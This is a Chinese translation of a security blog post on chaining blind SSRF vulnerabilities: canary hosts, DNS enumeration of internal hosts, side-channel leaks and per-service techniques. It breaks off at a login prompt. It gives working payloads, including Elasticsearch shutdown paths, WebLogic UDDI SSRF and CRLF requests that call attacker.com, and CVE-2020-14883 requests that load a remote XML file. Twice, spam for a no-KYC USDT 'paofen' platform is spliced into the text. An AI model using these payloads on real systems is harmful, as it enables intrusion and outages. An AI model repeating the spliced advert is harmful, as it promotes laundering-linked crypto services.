菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
原文地址:https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/
导言
什么是服务器端请求伪造(SSRF)?
所谓服务器端请求伪造,简朴来说就是迫使服务器以其身份替您发送随便请求。当请求由服务器发出时,得益于服务器自身所处的网络位置,很可能有机遇接见种种内部资源。在云环境中,由于存在包罗敏感凭证或秘密信息的元数据端点,因此,SSRF会造成更大的危害。
Blind SSRF
在行使服务器端请求伪造破绽时,我们经常会发现自己所在的位置无法读取响应。在业界,这种情形通常被称为Blind SSRF。在这种情形下,我们若何验证该破绽的影响呢?对此,Justin Gardner在推特上引发了一场有趣的讨论:
“我最近发现了大量的Blind SSRF破绽。你们之前用过哪些one-shot RCE破绽作为跳板?我曾经搞过Kafka及其他系统。@[email protected]”
— Justin Gardner (@Rhynorater) January 13, 2021
如果您可以接见内部资源,那么就可以行使许多潜在的exploit chain来证实这些破绽的影响。在这篇文章中,我们将为人人详细先容在行使blind SSRF破绽时,现在已知的种种exploit chain,而且随着新手艺的泛起,我们将连续更新本文。
本文中先容的手艺,都可以从下面的GitHub repo中找到:Blind SSRF Chains。
如果您希望为本文孝敬更多的技巧,请在GitHub上给我们发送拉取请求。
SSRF Canary
当将一个blind SSRF破绽与另一个SSRF破绽(在内部,它会举行分外的外部挪用,或者通过一个特定于应用程序的开放式重定向破绽或blind XXE破绽举行挪用)串联到一起时,我通常将它们称为SSRF canary。在这方面,Confluence、Artifactory、Jenkins和JAMF已经做了大量优异的事情。
— Frans Rosén (@fransrosen) January 13, 2021
为了验证是否能够与内部服务或应用程序举行交互,我们可以求助于“SSRF canary”。
这时,我们可以请求一个内部URL,它会执行另一个SSRF,并向您的canary主机发送请求。如果您收到了向canary主机发出的请求,就说明您已经成功地“击中”了一个内部服务,而且该服务还能发送出站请求。
这种方式,不仅可以有用验证SSRF破绽是否可以接见内部网络或应用程序,还可以验证内部网络上是否存在某些软件。此外,您还可以将SSRF canary作为跳板,进入内部网络中更敏感的部门,详细取决于SSRF canary所在的位置。
使用DNS数据源和AltDNS查找内部主机
为了找到尽可能多的内部主机,可以行使DNS数据源找出所有指向内部主机的纪录。
在云环境中,我们经常看到ELB指向内部VPC中的主机。根据您的目的资产所在的VPC,也许可以接见统一VPC内的其他主机。
例如,假设从DNS数据源中发现了以下主机:
livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82
您可以假设,es代表Elasticsearch,而且要对这个主机发动进一步的攻击。此外,您还可以将所有这些blind SSRF payload喷射到通过这种方式识别出来的所有“内部”主机上。这种方式通常能够奏效。
为了找到更多的内部主机,建议使用手中所有的DNS数据,并通过类似AltDNS这样的工具来天生排列组合,然后用快速的DNS蛮力搜索工具来剖析它们。
完成上述事情后,找出所有新发现的内部主机,并将它们用作blind SSRF chain的一部门。
侧通道泄露
当行使blind SSRF破绽时,可能会泄露一些与返回的响应有关的信息。例如,假设您通过XXE发动blind SSRF攻击,错误信息可能会解释:
- 是否返回了一个响应
Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.
以及:
- 主机和端口是否不可达
Error parsing request: System.Net.WebException: Unable to connect to the remote server
同样,除了XXE之外,Web应用也可能存在侧通道泄露,可以通过检查下面内容的差异举行确认:
- 响应的状态代码
在线内部资产:端口(asset:port)的响应为“200 OK”,而离线内部资产:端口的相应为“500 Internal Server Error”。
- 响应的内容
响应的长度(以字节为单元)是大是小,取决于您实验请求的URL是否可达。
,,菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
- 响应的时间
响应时间是慢照样快,取决于您试图请求的URL是否可达。
相关手艺
基于HTTP(s)的手艺
Elasticsearch
常用绑定端口:9200
当Elasticsearch在内部部署时,通常不要求举行身份验证。
如果您发现了一个可以确定状态代码的“半盲”类型的SSRF破绽,请检查以下端点是否返回200:
/_cluster/health
/_cat/indices
/_cat/health
如果您发现了一个可以发送POST请求的blind SSRF破绽,可以通过向以下路径发送POST请求来关闭Elasticsearch实例:
注重:_shutdown API已经从Elasticsearch 2.x.及后续版本中移除。也就是说,这种方式只适用于Elasticsearch 1.6及更低的版本。
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
Weblogic
**常用绑定端口:80、443(SSL)、7001、8888
SSRF Canary: UDDI Explorer (CVE-2014-4210)**
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1 Host: target.com Content-Length: 137 Content-Type: application/x-www-form-urlencoded operator=http://SSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business location&btnSubmit=Search
这种手艺也适用于GET方式:
http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://SSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business location&btnSubmit=Search
这个端点还存在CRLF注入破绽:
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp HTTP/1.11 X-CLRF: Injected &rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business location&btnSubmit=Search HTTP/1.0 Host: vuln.weblogic Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 Connection: close
这将天生以下请求:
[email protected]:~, nc -lvp 4000 Listening on [0.0.0.0] (family 0, port 4000) Connection from example.com 43111 received! POST /exp HTTP/1.11 X-CLRF: Injected HTTP/1.1 Content-Type: text/xml; charset=UTF-8 soapAction: "" Content-Length: 418 User-Agent: Java1.6.0_24 Host: attacker.com:4000 Accept: text/html, image/gif, image/jpeg, */*; q=.2 Connection: Keep-Alive <?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>
SSRF Canary: CVE-2020-14883
详情请参阅这里。
对于linux系统:
POST /console/css/%2e%2e%2fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 117 _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
对于Windows系统:
POST /console/css/%2e%2e%2fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 117 _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Hashicorp Consul
常用绑定端口:8500、8501(SSL)
完整形貌请接见这里。
Shellshock
常用绑定端口:80、443(SSL)、8080
为了有用地测试Shellshock,需要添加一个包罗payload的头部。下面的CGI路径值得一试:
对于待测试的CGI路径清单,请接见https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4。
SSRF Canary:基于用户署理的Shellshock
登录并阅读全文